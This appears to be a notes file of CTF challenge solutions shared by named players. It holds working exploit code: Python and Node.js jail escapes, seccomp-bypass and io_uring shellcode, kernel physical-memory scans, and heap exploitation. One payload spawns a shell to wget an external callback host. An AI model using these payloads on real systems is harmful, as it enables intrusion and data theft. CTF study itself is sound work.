- ptr.yudai
seccomp cannot check the content of memory so it's just checking the address of first argument for execve
So, the goal is to overwrite the constant "/bin/sh" into "/readflag".
The problem is that you cannot use mmap, mprotect, or munmap.
Still, the denylist does not block mremap, which is useful for moving a memory page.
So, you can move a memory page that includes "/bin/sh" into somewhere, and move another page that has "/readflag" to there.
Actually you don't need to move it. You can simply overwrite it with MREMAP_FIXED.
You can prepare a new page by calling mremap to extend the page for shellcode
i.e.,
mremap(ADDR_CODE, 0x1000, 0x2000, MREMAP_MAYMOVE);
strcpy(ADDR_CODE + 0x1050, "/readflag");
mremap(ADDR_CODE + 0x1000, 0x1000, 0x1000, MREMAP_MAYMOVE | MREMAP_FIXED, PAGE_BINSH + 0x50);
my shellcode:
SYS_brk equ 12
SYS_mremap equ 25
SYS_execve equ 59
OFFSET_page equ 0x2000
OFFSET_cmd equ 0x0050
MREMAP_MAYMOVE equ 1
MREMAP_FIXED equ 2
ADDR_CODE equ 0xc0de000
;; address leak
xor edi, edi
mov eax, SYS_brk
syscall
mov rax, [rax - 0x1ca88]
lea rbp, [rax - 0x219ce0] ; libc base
mov rax, [rbp + 0x221200]
mov rax, [rax - 0xe0]
lea r15, [rax - 0x1818] ; proc base
;; modify filename
mov r10d, MREMAP_MAYMOVE
mov edx, 0x2000
mov esi, 0x1000
mov edi, ADDR_CODE
mov eax, SYS_mremap
syscall
mov edi, ADDR_CODE + 0x1000 + OFFSET_cmd
mov rax, 0x616c66646165722f ; /readflag
mov [rdi], rax
mov byte [rdi + 8], 0x67
lea r8, [r15 + OFFSET_page]
mov r10d, MREMAP_MAYMOVE | MREMAP_FIXED
mov edx, 0x1000
mov esi, 0x1000
mov edi, ADDR_CODE + 0x1000
mov eax, SYS_mremap
syscall
;; run program
xor edx, edx
xor esi, esi
lea rdi, [r15 + OFFSET_page + OFFSET_cmd]
mov eax, SYS_execve
syscall
- amirhossein8736
import math
true = '("f">"c")'
false = '("c">"f")'
p1 = f"{true}+{false}"
make_number = lambda x: '+'.join([true]*x)
input_ = """[x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if("_wrap_close")==x.__name__][0]['system']('cat flag.txt')"""
payload = 'f"""{%s:c}"""'
final_payload = []
for c in input_:
sq = int(math.sqrt(ord(c)))
remain = ord(c) - (sq*sq)
if remain:
p = payload % f"({make_number(sq)})*({make_number(sq)})+{make_number(remain)}"
else:
p = payload % f"({make_number(sq)})*({make_number(sq)})"
final_payload.append(p)
print("+".join(final_payload))
- yuuna#4173
from pwn import *
import math
def int2bool(n):
return '+'.join(['f'] * n)
def simplify(n):
arr = []
while n > 1:
f = math.floor(math.log(n, 2))
if f > 0:
arr.append(f)
else:
arr.append(n)
n -= (2**f)
result = []
for a in arr:
result.append(f'({int2bool(2)})**({int2bool(a)})')
if n: result.append('f')
return '+'.join(result)
def char2sym(char):
return '{%s:c}' % simplify(ord(char))
def encode(string):
result = ''
for char in string:
if char not in '()*+/:=>cfgt{}':
result += char2sym(char)
else:
result += char
return 'f"({(f:=()==())}%s)"' % result
p = '+().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["__import__"]("os").system("cat *")'
r = remote('chall.glacierctf.com', 13384)
r.sendline(encode(p))
r.interactive()
- thebadgod
f"""{(f:=("g">"f"))+((g:=(c:=f+f+f+f+f)+c)+g+g+g+g+g+g+g+g):c}{c+c*g+c*g:c}{f+f+g+g+g:c}f{f+c*g+c*g+g:c}{f+f+f+f+c*g+c*g+g:c}{f+f+g+g+g:c}{c+c*g+c*g:c}{f+f+g+g+g:c}{c+c*g+c*g:c}{+c*g+c*g+g:c}{f+f+g+g+g:c}{c+f+f+f+f+g+g+g:c}{c+f+f+f+f+g+g+g:c}{c+f+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}c{c+f+f+f+c*g+c*g:c}{c+f+f+c*g+g+g+g+g:c}{c+c*g+c*g+g:c}{c+c*g+c*g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+f+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+f+f+f+c*g+g+g+g+g:c}{c+f+f+c*g+g+g+g+g:c}{c+c*g+c*g+g:c}{f+c*g+c*g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+f+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+c*g+g:c}{c+f+f+c*g+c*g+g:c}{c+f+f+f+c*g+g+g+g+g:c}c{c+f+f+f+c*g+c*g:c}{c+f+f+c*g+g+g+g+g:c}{c+c*g+c*g+g:c}{c+c*g+c*g+g:c}{f+c*g+c*g:c}{c+c*g+c*g+g:c}{c+c*g+g+g+g+g:c}{c+c*g+g+g+g+g:c}(){f+f+g+g+g:c}{c+c*g+c*g:c}f{f+f+g+g+g:c}"{c+f+c*g+g:c}{c+f+f+c*g+c*g+g:c}{c+c*g+c*g:c}"{f+f+g+g+g:c}{c+c*g+c*g:c}{+c*g+c*g+g:c}{f+f+g+g+g:c}f"{{{c+c*g+c*g:c}}}"{f+f+f+c*g+g+g+g+g:c}{f+c*g+g+g+g+g:c}{c+f+f+f+g+g+g+g:c}{f+f+f+c*g+g+g+g+g:c}{c+f+g+g+g+g:c}{c+f+f+f+c*g+c*g:c}{f+c*g+c*g+g:c}{c+f+f+c*g+g+g+g+g:c}{+c*g+c*g:c}{c+c*g+g+g+g+g:c}{c+f+f+f+f+c*g+c*g:c}{f+c*g+c*g+g:c}{+c*g+c*g:c}{c+f+f+c*g+c*g+g:c}{c+f+f+f+c*g+c*g:c}{f+c*g+c*g:c}({c+f+f+f+f+g+g+g:c}{f+c*g+c*g+g:c}{c+c*g+c*g+g:c}{c+f+f+f+f+g+g+g:c}){c+f+g+g+g+g:c}{c+c*g+c*g+g:c}{f+c*g+c*g+g+g:c}{c+c*g+c*g+g:c}t{f+c*g+c*g:c}{c+f+f+f+f+c*g+c*g:c}({c+f+f+f+f+g+g+g:c}{c+c*g+c*g+g:c}{f+f+f+f+c*g+c*g:c}{c+f+f+f+f+g+g+g:c})"""
- oh_word
#!/usr/bin/env python3
from ptrlib import *
init_a = False
def get_char(char):
str = []
global init_a
for _ in range(ord(char)):
if not init_a:
str.append('(g:="t"=="t")')
init_a = True
else:
str.append('g')
return '{' + "+".join(str) + ':c}'
payload = """[x for x in''.__class__.__base__.__subclasses__()if"lEncoder" in x.__name__][0].__init__.__globals__["builtins"].__import__("os").system('cat flag.txt')"""
payload = 'f"""' + "".join([get_char(character) for character in payload]) + '"""'
sock = Socket("nc chall.glacierctf.com 13384")
#sock.debug = True
print(sock.recvuntil("input: ").decode())
sock.sendline(payload)
print(sock.recv().decode())
sock.close()
- seraphin
So when the IOCTL accesses the user pointer, it loads the cache line containing that address into the memory hierarchy up to L1D if it wasn't there already. If an address is in the cache, it's really fast to deference. So we first make sure that the potential addressed containing the flag are out of the cache using CLFLUSH. Then we ask the kernel module (via IOCTL) to load memory with an offset depending on the flag. After the kernel returns, we time how long it takes for us to access the address. If it's really quick, that means the address touched by the module is in that cache line.
And you repeat with a few different addresses so that you know exactly when the address corresponding to the flag byte lines up, since a cache line is much larger than a byte.
This is the exploit. You have to add LFENCEs to ensure that the CPU actually finishes loading the data into the cache.
- nils#5664
// Disable checks
this.checkSafe = (ast) => {return true}
// Use process.binding to use C++ functions
const fs = process.binding("fs");const fd = fs.open("flag", 0, 0o444);const buffer = Buffer.alloc(1024);const bytesRead = fs.read(fd, buffer, 0, buffer.length, 0);buffer.toString("utf8", 0, bytesRead)
- 主要思路是自己new一个Function然后利用tagged templates调用函数。似乎只能借助process.binding来执行shell代码
_cra2yman_
Input:
print(getattr(__builtins__,"nepo"[::-1][::-1])("/"+"galf"[:-5:-1][::-1]).read())
^Z
Sanitized:
print(getattr(__builtins__,"open"[::-1][::-1])("/"+"flag"[:-5:-1][::-1]).read())
Output:
rwctf{Pyjail_It's_mySan1tiz3r!!!}
- 利用pickle.loads反序列化: https://github.com/mmm-team/public-writeups/tree/main/rwctf2024/llm_sanitizer
- hexf
w="cast";l=(lambda x:0);k=(lambda x:[c for c in().__class__.__base__.__subclasses__()if c.__name__==x][0].__init__.__globals__);g=k("LibraryLoader");z=(lambda a:g[w](a,g["POINTER"](g["c_uint64"])).contents.value);q=(a:=(0).__class__(("%r"%(l,)).split()[-1][2:-1],16))-327680;k("Quitter")["sys"].setrecursionlimit(99999);F=(lambda q,F,n:(F(q+8,F,n+1)if n!=0 else q)if z(q+8)==z(a+8)and z(q+16)==z(a+16)else F(q-8,F,n));Z=F(q,F,0);g[w](Z,g["py_object"]).value.__closure__[0].cell_contents=l;k("_wrap_close")["system"]("sh")
- fredd#8512
d,e,f,g,k=(''.__class__.__base__.__subclasses__()[o]for o in(0,3,46,55,60))
def y(s,o):s.a;o.pop('a');h.clear();return(q(s.a),[0]*10)
def n(z):l(z);return q(b[0]).tolist()[0]
def o(z,v):l(z);q(b[0])[0]=v
def p(o):b[0]=o;return a[0]
def l(z):m[0]=2;m[1]=p(e);m[2]=8;m[5]=z;b=m.tobytes();r.append(b);a[0]=p(b)+32
- pwn2ooown
Writeup for high frequency troubles with pure tcache poisoning: TL;DR: Disgusting heap feng shui and tcache poisoning to leak libc and overwrite stderr. Gain RCE using house of cat exploit chain. Remember to fix corrupted unsorted bin size. Details: It's well known that we can modify size of top chunk to free the top_chunk. We can leak heap address somewhere I'll skip this part. However we cannot go back to previous chunk to modify data. What can we do now? My heap would look like this in my exploit:
---------------
Size a in tcache bin index 1
---------------
Size b in tcache bin index 0
---------------
Size a in tcache bin index 0
---------------
Size c in tcache bin index 0
---------------
Unsorted bin with libc address
---------------
We take out size b to overwrite the next pointer of the bottom chunk (which has size a). Then we now have poisoned tcache list of size a. We can now first malloc to an unsorted bin to leak libc address. Remember to fix corrupted unsorted bin size using size c. Then we can just do these again to modify stderr to a crafted IO FILE structure and corrupt top chunk size to trigger "house of cat" to gain RCE. Reference of house of cat: https://bbs.kanxue.com/thread-273895.htm#msg_header_h3_6
- cope3503
try:a092d5a343d2b5a7b297b2d543d2a3b5a78247e6962707b3d513d2a3a3b592825646f6365646e292d5a35313b59782875686d6f62766e292825646f636e656e297d3a7b3d513d2a3a3b556d616e6e256d397a35602371602e6f69647075636875402470756368756a0a3972747pyquinejailgolf
except Exception as e:y=e.name[::-1];z=y.encode().fromhex(y[15:]).decode()[::-1];print(z[:-4]+y+z[-4:])
try:1%0J#pyquinejailgolf
except Exception as E:A=E.args[0];C=A[8];G=B=0xa6eb15ae9d5b53092a586a1474dda797014ddebe7d1dda970c98a54b1d4254b75a3174e9933b705eab86ea3a0cbb34e8ee2bc25f0c1ec27b1dddd716e0bd86eeeb0b7cf3f2c2ba2bd82ea2a0e78506edfa7a70cb8fc4541d3865c7e328acdb37e7d9a70eacbbb4f5e3e782394c12a562ebcf2
while G:C+=A[32::14]%(G%128);G>>=7
print((C%B)[::-1])
- fredd8512
here I thought I cheesed it by reading physmem instead of swapping cr3 lol
#define GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#define KBASE_MAGIC 0x3f4e258d48f78949
#define CHUNK_SIZE 0x100000
uint64_t kbase = 0xffffffff81000000;
uint64_t page_offset_base = 0xffffffff827c01f8;
uint64_t kaslr_slide;
uint64_t physmem;
struct ioctl_read_kernel_arg {
uint64_t dst;
uint64_t src;
uint64_t n;
};
uint64_t fd;
uint64_t kaslr_slide;
void die(const char* msg) {
perror(msg);
exit(-1);
}
uint64_t arb_read(void *dst, uint64_t src, uint64_t n) {
struct ioctl_read_kernel_arg arg = {
.dst = (uint64_t) dst,
.src = src,
.n = n
};
return ioctl(fd, 0x1001, &arg);
}
uint64_t read64(uint64_t addr) {
uint64_t val;
int res = arb_read(&val, addr, 8);
if(res < 0) {
die("read64");
}
return val;
}
void get_kaslr() {
uint64_t val;
for(int i = 0; i < 0x10000; i++) {
if(arb_read(&val, kbase + (i << 20), 8) == 0 &&
val == KBASE_MAGIC) {
kaslr_slide = i << 20;
printf("kaslr slide = 0x%llx\n", kaslr_slide);
page_offset_base += kaslr_slide;
return;
}
}
puts("can't leak");
exit(-1);
}
int main(int argc, char*argv[]) {
fd = open("/dev/movcr3", O_RDWR);
if(fd < 0) {
die("open");
}
get_kaslr();
physmem = read64(page_offset_base);
printf("physmem @ 0x%llx\n", physmem);
char *buf = malloc(CHUNK_SIZE);
uint64_t addr = physmem;
while(1) {
if(arb_read(buf, addr, CHUNK_SIZE) < 0) {
die("arb_read");
}
char *ptr = memmem(buf, CHUNK_SIZE, "cr3{", 4);
if(ptr != NULL) {
printf("FOUND FLAG (?): %s\n", ptr);
}
addr += CHUNK_SIZE;
}
}
- 一段服务器上的对话,有助于理解
0xM4hm0ud(0xm4hm0ud) — 04/28/2024 9:39 AM
Uhm how does using the pgd helps with finding the cr3 value. Because the value in cr3 registers are physical addresses right and those are different for every process.
Cant we just leak kaslr. Find the page_offset_base/physmap And leak memory from there till we find the flag? Ah are all task_struct objects from all processes adjacent in memory?
♡(gfs) — 04/28/2024 9:43 AM
cr3 stores the physical address of the pgd, so virt_to_phys(pgd) would yield that value for a given process.
also the solution you've brought up is valid and works but it doesn't use the other ioctl and so it's not intended.
also task_structs are allocated in their own cache, so most of them are adjacent to one another, but different slabs containing task_structs are not.
#define alloc_task_struct_node(node) \
kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node)
static struct kmem_cache *task_struct_cachep;
0xM4hm0ud — 04/28/2024 10:16 AM
Ah okay yeh so cr3 contains the phys(pgd). I didnt try out the idea I brought, but when doing something like that. Ig it will take a lot of time to leak right?
So task_struct also contains the pgd? Ig the virtual address right? So you grab all those pgd from all structs till you find the correct one?
♡ — 04/28/2024 10:19 AM
task_struct contains the mm_struct which contains the pgd, i find the correct task structs by their comm and then extract the pgd from there
- poniponiponiponiponiponiponiponi
the trick is that a jmp is two bytes and every 8 "8-byte numbers we read" only 1 random byte is xored, so i basically can execute any instruction as long as it's 5 bytes long
then since the memory is rwx i use it to get a read with which i use standard shellcode
#!/usr/bin/env python3
from pwn import *
exe = ELF("./randomness_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")
context.binary = exe
context.terminal = "alacritty -e".split()
# 0000000000000000 <_start>:
# 0: e8 00 00 00 00 call 5 <here>
# 0000000000000005 <here>:
# 5: 5e pop %rsi
# 6: 48 31 ff xor %rdi,%rdi
# 9: 48 31 c0 xor %rax,%rax
# c: 0f 05 syscall
# e: eb 00 jmp 10 <next>
jmp = b"\xeb" + p8(1+7*8)
to_send = [
b"\xe8\x00\x00\x00\x00",
b"\x5e",
b"\x48\x31\xff",
b"\x48\x31\xc0",
b"\x0f\x05",
]
def conn():
if args.REMOTE:
io = remote("1337.sb", 40006)
else:
if args.GDB:
io = gdb.debug([exe.path], aslr=False, api=False, gdbscript="""
set follow-fork-mode parent
""")
else:
io = process([exe.path])
#gdb.attach(io)
return io
def main():
io = conn()
io.sendlineafter(b"number: ", str(len(to_send)*8))
for inst in to_send:
io.sendlineafter(b"> ", str(u64(inst.ljust(5, b"\x90") + jmp + b"\x00")).encode())
for _ in range(7):
io.sendlineafter(b"> ", str(0x4142434445464748).encode())
import time
time.sleep(1)
sc = shellcraft.amd64.linux.openat(0, b"/flag.txt", 4, 4)
sc += shellcraft.amd64.linux.read('rax', 'rsp', 0x100)
sc += shellcraft.amd64.linux.write(1, 'rsp', 0x100)
io.sendline(cyclic(253) + asm(sc))
io.interactive()
if __name__ == "__main__":
main()
- shin24_2354
1});(() => { throw new Proxy({}, {
get: function(me, key) {
const cc = arguments.callee.caller;
if (cc != null) {
return (cc.constructor.constructor(' globalThis.module.constructor.createRequire("/etc/passwd")("process").binding("spawn_sync").spawn({file: "/bin/sh",args: ["/bin/sh", "-c", "wget pa3d6lev1ywppqhbtta7p075ww2tqnec.oastify.com" ], stdio: [ {type:"pipe",readable:true,writable:false}, {type:"pipe",readable:false,writable:true}, {type:"pipe",readable:false,writable:true} ]})'))();
}
return me[key];
}
})
- rikuwu
(function(){k = this; return ({ toJSON: function() {return arguments.callee.caller.constructor(`globalThis.module.require("worker_threads").parentPort.postMessage(globalThis.module.require("util").format(globalThis.storage))`)()} })})()
_anonas
new Proxy({}, {
get: function(me, key) { (arguments.callee.caller.constructor('a = module.parent.require("fs").readFileSync("/proc/self/environ");module.parent.require("assert").fail(a)'))() }
})
- rikuwu
(function(){return ({ toJSON: function() {k = arguments.callee.caller.constructor(`globalThis.storage.__defineGetter__('p', function(){ return this.secret });return btoa(globalThis.storage.p);`)()}, toString: () => k })})()
__ahh__
#这代码低版本的python还运行不了。这个在线的网站可以运行: https://www.jdoodle.com/python3-programming-online
import opcode
from opcode import opmap
import base64
import dis
import marshal
import tempfile
import sys, os
for k in opmap:
globals()[k] = opmap[k]
def f():
breakpoint()
code = f.__code__
b = marshal.dumps(code)
dis.dis(code, show_caches=True)
co_code = code.co_code
print(len(co_code))
co_code_section = len(co_code).to_bytes(4, byteorder='little') + co_code
prefix = b[:b.find(co_code_section)]
suffiix = b[b.find(co_code_section) + len(co_code_section):]
new_code = bytearray([
JUMP_FORWARD, 1, #
COMPARE_OP, 0, #
LOAD_GLOBAL, 1,
0, 0,
COMPARE_OP, 0, #
0, 0,
0, 0,
COMPARE_OP, 0, #
NOP, 0,
JUMP_FORWARD, 1,
COMPARE_OP, 0, #
PRECALL, 0,
0, 0,
JUMP_FORWARD, 1, #
COMPARE_OP, 0, #
CALL, 0,
0, 0,
JUMP_FORWARD, 1, #
JUMP_FORWARD, 1, #
JUMP_FORWARD, 1, #
JUMP_FORWARD, 1, #
COMPARE_OP, 0, #
POP_TOP, 0,
LOAD_CONST, 0,
JUMP_FORWARD, 1, #
COMPARE_OP, 0, #
RETURN_VALUE, 0
])
print(f"New code: {new_code}")
dis.dis(new_code )
print('-'*40)
dis.dis(new_code, show_caches=True )
new_code_section = len(new_code).to_bytes(4, byteorder='little') + new_code
new_code_object = prefix + new_code_section + suffiix
payload = base64.b64encode(new_code_object)
def runner():
...
runner.__code__ = marshal.loads(new_code_object)
# runner()
from pwn import *
r = remote('localhost', 33851)
r.sendlineafter(b"opcode?", b"JUMP_FORWARD")
r.sendlineafter(b"these...", payload)
r.interactive()
以及一段对话:
Legoclones(legoclones) — 05/12/2024 10:13 PM
Wait so are you somehow hiding the actual bytecode somewhere and then using the jump opcode to jump to it?
ahh(__ahh__
) — 05/12/2024 10:15 PM
ye exactly, the lines of opcode with the #
are the instructions and everything else is hidden in bytecode cache, which is not seen by dis.Bytecode.
There is an optional parameter in dis called show_caches=True which will show the cache space
Legoclones — 05/12/2024 10:16 PM
I didn't even know python bytecode has a cache... So code objects themselves each have a cache?
Legoclones — 05/12/2024 10:17 PM
Also where did you learn about this? Would like to investigate more
We were just absolutely stumped
ahh — 05/12/2024 10:26 PM
Yeah this was added in 3.11: https://docs.python.org/3.11/whatsnew/3.11.html#cpython-bytecode-changes
- lydxn
another idea is to JUMP_BACKWARD into co_firstlineno
or other struct members that are located adjacent in memory (i nearly got this to work but it crashes unexpectedly on remote)
i have a script that works locally but apparently python version on remote expects a RETURN_VALUE at the end otherwise it segfaults
from base64 import *
from ctypes import *
import marshal
def f(): pass
jumpcode = bytes((140, 58)) # JUMP_BACKWARD 58
stacksize = int.from_bytes(b'\x00\x00t\x01', 'little')
firstlineno = int.from_bytes(b'\x00\x00\x00\x00', 'little')
nlocals = int.from_bytes(b'\x00\x01\xab\x00', 'little')
f.__code__ = f.__code__.replace(
co_code=jumpcode,
co_stacksize=stacksize,
co_firstlineno=firstlineno,
co_nlocals=nlocals,
co_varnames=('',)*nlocals,
co_names=('breakpoint',)
)
payload = b64encode(marshal.dumps(f.__code__)).decode()
- akrasuski_goo
yeah, so basically the aes binary had an overflow bug. If you supplied a character > 0xff, it would get substituted (during the sbox step of aes) all into zero. When decrypted, the rsbox[0]
(0x52) would be xored with the key in the last round. So if you encrypt ls ąąąąąąąąąąąąą
, and then decrypt the result, you get ls key^0x52, except for the first three bytes (which are ls_
). When executed this returns something like ls: cannot access ''$'\020\f\001': No such file or directory
(i.e. most of the key), you just need to brute force the first three bytes and then you can encrypt your own commands
this presentation was the inspiration for the challenge: https://www.slideshare.net/slideshow/biting-into-the-forbidden-fruit-lessons-from-trusting-javascript-crypto/37474054 (slides 19-25, the so called 16 snowmen attack)
- alex_hcsc
from pwn import *
context.binary = exe = ELF('./syscalls')
sc = shellcraft.pushstr("/home/user/flag.txt")
sc += shellcraft.openat(0, "rsp", 0)
sc += shellcraft.mmap(0, 0x1000, constants.PROT_READ, constants.MAP_PRIVATE, "rax", 0)
sc += shellcraft.push(0x100)
sc += shellcraft.push("rax")
sc += shellcraft.pwritev2(1, "rsp", 1, -1, 0)
shellcode = asm(sc)
p = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)
p.sendlineafter('you.', shellcode)
p.interactive()
- amirhossein8736
for safe_call.__globals__["ast"].sys.modules["io"].RawIOBase.__class_getitem__ in [safe_call.__globals__["ast"].sys.modules["os"].system]:pass;{eee:=safe_call.__globals__["ast"].sys.modules["io"].RawIOBase};eee["cat flag.txt"];
- yuuna4173
__builtins__ |= safe_import.__builtins__; [~help for help.__class__.__invert__ in [breakpoint]]
- chattyplatinumcool
So the thought is that we can't call anything, import anything, assign anything (like a = 123
) or use any operations like 4 + 4
But we can bypass assignment by assigning with the walrus operator within a comprehension. A limitation is that we can't assign to an attribute of something, so not foo.attr := 4
. We can bypass the function call limitation by overwriting safe_import
, so our function of choice is called, even though they're overwriting our function calls with safe_call
. A limitation there, is that we can't call a function with arguments, so we have to be a bit creative about the payload. I wanted to get breakpoint
first, but there I got an error that I didn't understand, so I opted for a different route where I append to the license._Printer__filenames
list and then reverse it. Final payload:
payload = b"""
[safe_call := ().__class__.__bases__[0].__subclasses__, subclasses := safe_call()];
[license := subclasses[164].__init__.__globals__['__builtins__']['license']];
license._Printer__filenames += ['flag.txt'];
[safe_call := license._Printer__filenames.reverse];safe_call();
[safe_import := license];
import sys
""".replace(b'\n', b'')
So I also didn't use AnnAssign
- cygnusx
safe_call:0=safe_import.__builtins__['license'];safe_call._Printer__filenames:0=['flag.txt'];_()
Q: What is safe_call.printer
A: License in python prints from a file. So I changed the file name it prints from
A: license is instance of class Printer. that's the mangling for private function in Python
Q: what is this part safe_call._Printer__filenames:safe_import.__builtins__['list']=['flag.txt']
, it bypass assign?
A: this is AnnAssign. it's assignment with type annotation. it's not Assign AST node
a: int = 123
something like this it's allowed
- starlightpwn
[a:=[b:=safe_call.__builtins__,safe_call:=b['__spec__'].loader.module_repr.__globals__['sys']._getframe,a:=safe_call().f_back.f_globals['cup']]]; [1 for __builtins__['a'] in [a]]; [1 for __builtins__['a'][-1].__class__.__format__ in [__builtins__['a'][0]['exec']]]; f"{__builtins__['a'][-1]:a[0]['__import__']('os').system('sh')}"
这位佬的wp: https://starlightpwn.github.io/posts/uiuctf-2024/astea/
- nothoudaifa
safe_call.__globals__['ast']._Unparser.interleave.__defaults__: safe_call.__builtins__['tuple'] = (None, None, safe_call.__builtins__['exec'], ['print(open("flag.txt").read())']) ; (safe_call:= safe_call.__globals__['ast']._Unparser.interleave) ; safe_call()
- zhuyifei1999
# Copyright 2024 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#include <sys/syscall.h>
.globl _start
_start:
mov $SYS_mmap,%rax
mov $0,%rdi
mov $0x2000,%rsi
mov $0x3,%rdx # PROT_READ | PROT_WRITE
mov $0x21,%r10 # MAP_SHARED | MAP_ANONYMOUS
mov $-1,%r8
mov $0,%r9
syscall
mov %rax,sq_off_user_addr(%rip)
lea 0x1000(%rax),%r13
mov %r13,cq_off_user_addr(%rip)
mov $SYS_io_uring_setup,%rax
mov $2,%rdi
lea io_uring_params(%rip),%rsi
syscall
mov %rax,%r12
mov $SYS_io_uring_register,%rax
mov %r12,%rdi
mov $0x80000002,%rsi # IORING_REGISTER_FILES | IORING_REGISTER_USE_REGISTERED_RING
lea fd_arr(%rip),%rdx
mov $1,%r10
syscall
mov sq_off_user_addr(%rip),%rbx
movb $18,(%rbx) # opcode = IORING_OP_OPENAT
movl $-100,4(%rbx) # fd = AT_FDCWD
lea path_flag(%rip),%rax
mov %rax,16(%rbx) # addr
movl $0x800,28(%rbx) # open_flags = O_RDONLY | O_NONBLOCK
movl $1,44(%rbx) # file_index
lea 64(%rbx),%rbx
movb $22,(%rbx) # opcode = IORING_OP_READ
movb $1,1(%rbx) # flags = IOSQE_FIXED_FILE
movl $0,4(%rbx) # fd
lea buf(%rip),%rax
mov %rax,16(%rbx) # addr
movl $128,24(%rbx) # len
mov sq_off_array(%rip),%eax
mov %r13,%rbx
add %rax,%rbx
movl $0,(%rbx)
movl $1,4(%rbx)
mov sq_off_tail(%rip),%eax
mov %r13,%rbx
add %rax,%rbx
movl $1,(%rbx)
mov $SYS_io_uring_enter,%rax
mov %r12,%rdi
mov $1,%rsi
mov $1,%rdx
mov $0x11,%r10 # IORING_ENTER_GETEVENTS | IORING_ENTER_REGISTERED_RING
syscall
movl $0,(%rbx)
mov $SYS_io_uring_enter,%rax
mov %r12,%rdi
mov $1,%rsi
mov $1,%rdx
mov $0x11,%r10 # IORING_ENTER_GETEVENTS | IORING_ENTER_REGISTERED_RING
syscall
mov $SYS_write,%rax
mov $1,%rdi
lea buf(%rip),%rsi
mov $128,%rdx
syscall
area_ptr:
.quad 0
io_uring_params:
.long 0 # sq_entries
.long 0 # cq_entries
.long 0xc000 # flags = IORING_SETUP_REGISTERED_FD_ONLY | IORING_SETUP_NO_MMAP
.long 0 # sq_thread_cpu
.long 0 # sq_thread_idle
.long 0 # features
.long 0 # wq_fd
.long 0 # resv[0]
.long 0 # resv[1]
.long 0 # resv[2]
.long 0 # sq_off.head
sq_off_tail:
.long 0 # sq_off.tail
.long 0 # sq_off.ring_mask
.long 0 # sq_off.ring_entries
.long 0 # sq_off.flags
.long 0 # sq_off.dropped
sq_off_array:
.long 0 # sq_off.array
.long 0 # sq_off.resv1
sq_off_user_addr:
.quad 0 # sq_off.user_addr
.long 0 # cq_off.head
.long 0 # cq_off.tail
.long 0 # cq_off.ring_mask
.long 0 # cq_off.ring_entries
.long 0 # cq_off.overflow
.long 0 # cq_off.cqes
.long 0 # cq_off.flags
.long 0 # cq_off.resv1
cq_off_user_addr:
.quad 0 # cq_off.user_addr
fd_arr:
.long -1
path_flag:
.asciz "/flag"
buf:
.rept 128
.byte 0
.endr
这是作者的预期解,解析看视频: https://www.youtube.com/watch?v=F8pqK4G2fTQ&t=553s 。但我完全没听懂……里面提到了这个网站: https://lwn.net/Articles/863071/
建议找chatgpt解析这玩意。我试了一下,感觉挺清楚的,就是不知道对不对。这一堆汇编干了这些事:
- 分配一块内存(mmap)
- 配置io_uring(SYS_io_uring_setup)
- 注册io_uring file descriptor(SYS_io_uring_register)。看汇编能看出来这里的io_uring file descriptor是上个sycall(SYS_io_uring_setup)的返回结果(不知道为什么这个汇编的mov是将左边的值移到右边,我之前都是右边移到左边的)
- 将打开文件和读取文件的请求提交到io_uring submission queue
- 进io_uring并确保结果处理成功(似乎是汇编里的两个SYS_io_uring_enter)
- 输出结果(SYS_write)
io_uring api手册: https://man7.org/linux/man-pages/man7/io_uring.7.html
- robbert1978
#!/usr/bin/env python
from pwn import *
from pwn import p8, p16, p32, p64, u8, u16, u32, u64
from time import sleep
context.arch = "amd64"
shellcode = asm("""
lea rdi, [rip + offset init]
lea rsi, [rip + offset request_key]
mov eax, 0x58
syscall
lea rdi, [rip + offset chal]
mov eax, 0x57
syscall
lea rdi, [rip + offset bash]
lea rsi, [rip + offset chal]
mov eax, 0x58
syscall
lea rdi, [rip + offset a]
lea rsi, [rip + offset b]
lea rdx, [rip + offset c]
mov r10, 0xfffffffd
mov rax, 0xf9
syscall
ret
a:
.asciz "user"
b:
.asciz "mtk:key1"
c:
.asciz "Payload:data"
init:
.asciz "/init"
chal:
.asciz "/chal"
request_key:
.asciz "/sbin/request-key"
bash:
.asciz "/bin/bash"
""")
print(shellcode.hex())
Just make /sbin/request_key is symlink to /init, when it call call_sbin_request_key it will create new /init process without filter
Also because /init run “exec /chal”, I also make /chal is symlink to bash
佬提到他的思路来自去年的Am I not root?,我在笔记里记过(misc笔记第129条),但完全忘了……那题是个jail escape,我就是记得也不会把那题和shellcode联系起来。
整体shellcode相比预期解非常简单。0x58是symlink的系统调用号,0x57是unlink的系统调用号,0xf9是sys_request_key的系统调用号。首先让/sbin/request_key变为/init的symlink,然后删除掉/chal,为接下来做/bin/bash的symlink腾出位置。让/chal为/bin/bash的symlink。最后调用sys_request_key,这个系统调用内部会调用/sbin/request_key,于是效果等同于调用/init。/init里的内容是exec /chal
,于是又等同于调用/bin/bash。这/init应该是kctf jail里的一个文件
- itz_me_strikerr
#!/usr/bin/env python3
from pwn import *
e = ELF("./vuln_patched")
#r = process("./vuln_patched")
r = remote("onewrite.chal.imaginaryctf.org",1337)
libc = ELF("./libc.so.6")
r.recvline()
libc_base = int(r.recvline().strip(),16) - libc.sym.printf
log.info("The libc base of the process is " + hex(libc_base))
r.sendline(hex(libc_base + libc.sym._IO_2_1_stdout_))
